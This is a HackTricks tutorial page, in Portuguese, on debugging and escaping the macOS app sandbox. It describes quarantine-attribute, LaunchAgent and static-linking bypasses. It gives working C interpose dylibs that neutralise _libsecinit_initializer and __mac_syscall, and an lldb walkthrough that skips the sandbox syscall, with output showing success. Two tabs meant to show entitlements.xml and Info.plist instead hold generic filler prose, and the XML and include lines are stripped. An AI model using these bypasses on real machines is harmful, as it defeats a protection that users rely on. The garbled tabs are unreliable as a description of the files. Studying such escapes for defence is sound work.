# Depuração e Bypass do Sandbox do macOS
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## Processo de carregamento do Sandbox

Imagem de http://newosxbook.com/files/HITSB.pdf

Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado. O compilador irá vincular `/usr/lib/libSystem.B.dylib` ao binário. Em seguida, **`libSystem.B`** chamará outras várias funções até que o **`xpc_pipe_routine`** envie as permissões do aplicativo para o **`securityd`**. O Securityd verifica se o processo deve ser colocado em quarentena dentro do Sandbox e, se sim, ele será colocado em quarentena.\ Por fim, o sandbox será ativado com uma chamada para **`__sandbox_ms`**, que chamará **`__mac_syscall`**. ## Possíveis Bypasses ### Bypass do atributo de quarentena **Arquivos criados por processos em sandbox** recebem o **atributo de quarentena** para evitar a fuga do sandbox. No entanto, se você conseguir **criar uma pasta `.app` sem o atributo de quarentena** dentro de um aplicativo em sandbox, poderá fazer com que o binário do pacote do aplicativo aponte para **`/bin/bash`** e adicione algumas variáveis de ambiente no **plist** para abusar do **`open`** e **iniciar o novo aplicativo sem sandbox**. Isso foi feito em [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**.** {% hint style="danger" %} Portanto, no momento, se você for capaz de criar uma pasta com um nome terminando em **`.app`** sem um atributo de quarentena, você pode escapar do sandbox porque o macOS só **verifica** o **atributo de quarentena** na **pasta `.app`** e no **executável principal** (e vamos apontar o executável principal para **`/bin/bash`**). Observe que se um pacote .app já foi autorizado a ser executado (tem um xttr de quarentena com a flag autorizada para executar), você também poderia abusar dele... exceto que agora você não pode escrever dentro de pacotes **`.app`** a menos que tenha algumas permissões TCC privilegiadas (o que você não terá dentro de um sandbox alto). {% endhint %} ### Abusando da funcionalidade Open Nos [**últimos exemplos de bypass do sandbox do Word**](macos-office-sandbox-bypasses.md#word-sandbox-bypass-via-login-items-and-.zshenv) pode-se apreciar como a funcionalidade **`open`** do cli pode ser abusada para contornar o sandbox. {% content-ref url="macos-office-sandbox-bypasses.md" %} [macos-office-sandbox-bypasses.md](macos-office-sandbox-bypasses.md) {% endcontent-ref %} ### Agentes/Daemons de Inicialização Mesmo que um aplicativo seja **destinado a estar em sandbox** (`com.apple.security.app-sandbox`), é possível contornar o sandbox se ele for **executado a partir de um LaunchAgent** (`~/Library/LaunchAgents`), por exemplo.\ Como explicado neste [**post**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), se você deseja obter persistência com um aplicativo que está em sandbox, você pode fazê-lo ser executado automaticamente como um LaunchAgent e talvez injetar código malicioso via variáveis de ambiente DyLib. ### Abusando de Locais de Inicialização Automática Se um processo em sandbox pode **escrever** em um local onde **mais tarde um aplicativo sem sandbox vai executar o binário**, ele será capaz de **escapar apenas colocando** o binário lá. Um bom exemplo desses locais são `~/Library/LaunchAgents` ou `/System/Library/LaunchDaemons`. Para isso, você pode precisar de **2 etapas**: fazer um processo com um **sandbox mais permissivo** (`file-read*`, `file-write*`) executar seu código, que na verdade escreverá em um local onde será **executado sem sandbox**. Confira esta página sobre **locais de inicialização automática**: {% content-ref url="../../../../macos-auto-start-locations.md" %} [macos-auto-start-locations.md](../../../../macos-auto-start-locations.md) {% endcontent-ref %} ### Abusando de outros processos Se a partir do processo em sandbox você conseguir **comprometer outros processos** em sandboxes menos restritivos (ou nenhum), você será capaz de escapar para seus sandboxes: {% content-ref url="../../../macos-proces-abuse/" %} [macos-proces-abuse](../../../macos-proces-abuse/) {% endcontent-ref %} ### Compilação Estática e Linkagem Dinâmica [**Esta pesquisa**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) descobriu 2 maneiras de contornar o Sandbox. Como o sandbox é aplicado a partir do espaço do usuário quando a biblioteca **libSystem** é carregada. Se um binário pudesse evitar carregá-lo, ele nunca seria colocado em sandbox: * Se o binário fosse **completamente compilado estaticamente**, ele poderia evitar carregar essa biblioteca. * Se o **binário não precisasse carregar nenhuma biblioteca** (porque o linker também está em libSystem), ele não precisaria carregar libSystem. ### Shellcodes Observe que **mesmo shellcodes** em ARM64 precisam ser vinculados em `libSystem.dylib`: ```bash ld -o shell shell.o -macosx_version_min 13.0 ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64 ``` ### Privilégios Note que mesmo que algumas **ações** possam ser **permitidas pelo sandbox** se um aplicativo tiver um **privilégio específico**, como em: ```scheme (when (entitlement "com.apple.security.network.client") (allow network-outbound (remote ip)) (allow mach-lookup (global-name "com.apple.airportd") (global-name "com.apple.cfnetwork.AuthBrokerAgent") (global-name "com.apple.cfnetwork.cfnetworkagent") [...] ``` ### Bypass de Interposição Para obter mais informações sobre **Interposição**, consulte: {% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %} [macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md) {% endcontent-ref %} #### Interpor `_libsecinit_initializer` para evitar a sandbox ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include void _libsecinit_initializer(void); void overriden__libsecinit_initializer(void) { printf("_libsecinit_initializer called\n"); } __attribute__((used, section("__DATA,__interpose"))) static struct { void (*overriden__libsecinit_initializer)(void); void (*_libsecinit_initializer)(void); } _libsecinit_initializer_interpose = {overriden__libsecinit_initializer, _libsecinit_initializer}; ``` ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand _libsecinit_initializer called Sandbox Bypassed! ``` #### Interceptar `__mac_syscall` para evitar a Sandbox {% code title="interpose.c" %} ```c // gcc -dynamiclib interpose.c -o interpose.dylib #include #include // Forward Declaration int __mac_syscall(const char *_policyname, int _call, void *_arg); // Replacement function int my_mac_syscall(const char *_policyname, int _call, void *_arg) { printf("__mac_syscall invoked. Policy: %s, Call: %d\n", _policyname, _call); if (strcmp(_policyname, "Sandbox") == 0 && _call == 0) { printf("Bypassing Sandbox initiation.\n"); return 0; // pretend we did the job without actually calling __mac_syscall } // Call the original function for other cases return __mac_syscall(_policyname, _call, _arg); } // Interpose Definition struct interpose_sym { const void *replacement; const void *original; }; // Interpose __mac_syscall with my_mac_syscall __attribute__((used)) static const struct interpose_sym interposers[] __attribute__((section("__DATA, __interpose"))) = { { (const void *)my_mac_syscall, (const void *)__mac_syscall }, }; ``` {% endcode %} ```bash DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand __mac_syscall invoked. Policy: Sandbox, Call: 2 __mac_syscall invoked. Policy: Sandbox, Call: 2 __mac_syscall invoked. Policy: Sandbox, Call: 0 Bypassing Sandbox initiation. __mac_syscall invoked. Policy: Quarantine, Call: 87 __mac_syscall invoked. Policy: Sandbox, Call: 4 Sandbox Bypassed! ``` ### Depurar e burlar o Sandbox com lldb Vamos compilar uma aplicação que deve estar em sandbox: {% tabs %} {% tab title="sand.c" %} ```c #include int main() { system("cat ~/Desktop/del.txt"); } ``` {% endtab %} {% tab title="entitlements.xml" %} ## macOS Sandbox Debug and Bypass ### Debugging the Sandbox To debug the macOS sandbox, you can use the `sandbox-exec` tool with the `-D` flag to enable debug mode. This will print detailed information about the sandbox operations being performed. ```bash sandbox-exec -D ``` ### Bypassing the Sandbox To bypass the macOS sandbox, you can use various techniques such as exploiting vulnerabilities in the sandbox profile, abusing entitlements, or injecting code into a process to disable sandbox restrictions. It is important to note that bypassing the macOS sandbox is a serious security risk and should only be done for research or testing purposes in controlled environments. ```xml com.apple.security.app-sandbox ``` {% endtab %} {% tab title="Info.plist" %} ## Info.plist O arquivo `Info.plist` contém as configurações de sandboxing para um aplicativo macOS. Ele define as permissões e restrições de acesso que o aplicativo terá ao sistema e a outros recursos. Ao modificar este arquivo, é possível ajustar as restrições de segurança impostas ao aplicativo, potencialmente permitindo a execução de ações não autorizadas. É importante revisar e validar as configurações do `Info.plist` para garantir que o aplicativo esteja devidamente protegido contra possíveis violações de segurança. ### Bypassing Sandbox Restrictions Existem técnicas avançadas que podem ser usadas para contornar as restrições de sandboxing e obter acesso não autorizado a recursos do sistema. Os desenvolvedores e administradores de segurança devem estar cientes dessas técnicas e implementar medidas adicionais para mitigar possíveis vulnerabilidades de sandboxing. ### Debugging Sandbox Violations Ao encontrar violações de sandboxing em um aplicativo, é importante realizar uma análise detalhada para identificar a causa raiz do problema. O uso de ferramentas de depuração e monitoramento pode ajudar a rastrear e corrigir violações de sandboxing de forma eficaz. Certifique-se de revisar regularmente os logs de sandboxing para identificar e resolver quaisquer problemas de segurança em potencial. {% endtab %} ```xml CFBundleIdentifier xyz.hacktricks.sandbox CFBundleName Sandbox ``` {% endtab %} {% endtabs %} Em seguida, compile o aplicativo: {% code overflow="wrap" %} ```bash # Compile it gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.plist sand.c -o sand # Create a certificate for "Code Signing" # Apply the entitlements via signing codesign -s --entitlements entitlements.xml sand ``` {% endcode %} {% hint style="danger" %} O aplicativo tentará **ler** o arquivo **`~/Desktop/del.txt`**, o qual a **Sandbox não permitirá**.\ Crie um arquivo lá, pois uma vez que a Sandbox for burlada, o aplicativo poderá lê-lo: ```bash echo "Sandbox Bypassed" > ~/Desktop/del.txt ``` {% endhint %} Vamos depurar a aplicação para ver quando o Sandbox é carregado: ```bash # Load app in debugging lldb ./sand # Set breakpoint in xpc_pipe_routine (lldb) b xpc_pipe_routine # run (lldb) r # This breakpoint is reached by different functionalities # Check in the backtrace is it was de sandbox one the one that reached it # We are looking for the one libsecinit from libSystem.B, like the following one: (lldb) bt * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 * frame #0: 0x00000001873d4178 libxpc.dylib`xpc_pipe_routine frame #1: 0x000000019300cf80 libsystem_secinit.dylib`_libsecinit_appsandbox + 584 frame #2: 0x00000001874199c4 libsystem_trace.dylib`_os_activity_initiate_impl + 64 frame #3: 0x000000019300cce4 libsystem_secinit.dylib`_libsecinit_initializer + 80 frame #4: 0x0000000193023694 libSystem.B.dylib`libSystem_initializer + 272 # To avoid lldb cutting info (lldb) settings set target.max-string-summary-length 10000 # The message is in the 2 arg of the xpc_pipe_routine function, get it with: (lldb) p (char *) xpc_copy_description($x1) (char *) $0 = 0x000000010100a400 " { count = 5, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY\" => { length = 4, contents = \"sand\" }\n\t\"SECINITD_REGISTRATION_MESSAGE_IMAGE_PATHS_ARRAY_KEY\" => { count = 42, capacity = 64, contents =\n\t\t0: { length = 14, contents = \"/tmp/lala/sand\" }\n\t\t1: { length = 22, contents = \"/private/tmp/lala/sand\" }\n\t\t2: { length = 26, contents = \"/usr/lib/libSystem.B.dylib\" }\n\t\t3: { length = 30, contents = \"/usr/lib/system/libcache.dylib\" }\n\t\t4: { length = 37, contents = \"/usr/lib/system/libcommonCrypto.dylib\" }\n\t\t5: { length = 36, contents = \"/usr/lib/system/libcompiler_rt.dylib\" }\n\t\t6: { length = 33, contents = \"/usr/lib/system/libcopyfile.dylib\" }\n\t\t7: { length = 35, contents = \"/usr/lib/system/libcorecry"... # The 3 arg is the address were the XPC response will be stored (lldb) register read x2 x2 = 0x000000016fdfd660 # Move until the end of the function (lldb) finish # Read the response ## Check the address of the sandbox container in SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY (lldb) memory read -f p 0x000000016fdfd660 -c 1 0x16fdfd660: 0x0000600003d04000 (lldb) p (char *) xpc_copy_description(0x0000600003d04000) (char *) $4 = 0x0000000100204280 " { count = 7, transaction: 0, voucher = 0x0, contents =\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ID_KEY\" => { length = 22, contents = \"xyz.hacktricks.sandbox\" }\n\t\"SECINITD_REPLY_MESSAGE_QTN_PROC_FLAGS_KEY\" => : 2\n\t\"SECINITD_REPLY_MESSAGE_CONTAINER_ROOT_PATH_KEY\" => { length = 65, contents = \"/Users/carlospolop/Library/Containers/xyz.hacktricks.sandbox/Data\" }\n\t\"SECINITD_REPLY_MESSAGE_SANDBOX_PROFILE_DATA_KEY\" => : { length = 19027 bytes, contents = 0x0000f000ba0100000000070000001e00350167034d03c203... }\n\t\"SECINITD_REPLY_MESSAGE_VERSION_NUMBER_KEY\" => : 1\n\t\"SECINITD_MESSAGE_TYPE_KEY\" => : 2\n\t\"SECINITD_REPLY_FAILURE_CODE\" => : 0\n}" # To bypass the sandbox we need to skip the call to __mac_syscall # Lets put a breakpoint in __mac_syscall when x1 is 0 (this is the code to enable the sandbox) (lldb) breakpoint set --name __mac_syscall --condition '($x1 == 0)' (lldb) c # The 1 arg is the name of the policy, in this case "Sandbox" (lldb) memory read -f s $x0 0x19300eb22: "Sandbox" # # BYPASS # # Due to the previous bp, the process will be stopped in: Process 2517 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 frame #0: 0x0000000187659900 libsystem_kernel.dylib`__mac_syscall libsystem_kernel.dylib`: -> 0x187659900 <+0>: mov x16, #0x17d 0x187659904 <+4>: svc #0x80 0x187659908 <+8>: b.lo 0x187659928 ; <+40> 0x18765990c <+12>: pacibsp # To bypass jump to the b.lo address modifying some registers first (lldb) breakpoint delete 1 # Remove bp (lldb) register write $pc 0x187659928 #b.lo address (lldb) register write $x0 0x00 (lldb) register write $x1 0x00 (lldb) register write $x16 0x17d (lldb) c Process 2517 resuming Sandbox Bypassed! Process 2517 exited with status = 0 (0x00000000) ``` {% hint style="warning" %} **Mesmo com o Sandbox sendo burlado, o TCC** perguntará ao usuário se ele deseja permitir que o processo leia arquivos da área de trabalho. {% endhint %} ## Referências * [http://newosxbook.com/files/HITSB.pdf](http://newosxbook.com/files/HITSB.pdf) * [https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) * [https://www.youtube.com/watch?v=mG715HcDgO8](https://www.youtube.com/watch?v=mG715HcDgO8)
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).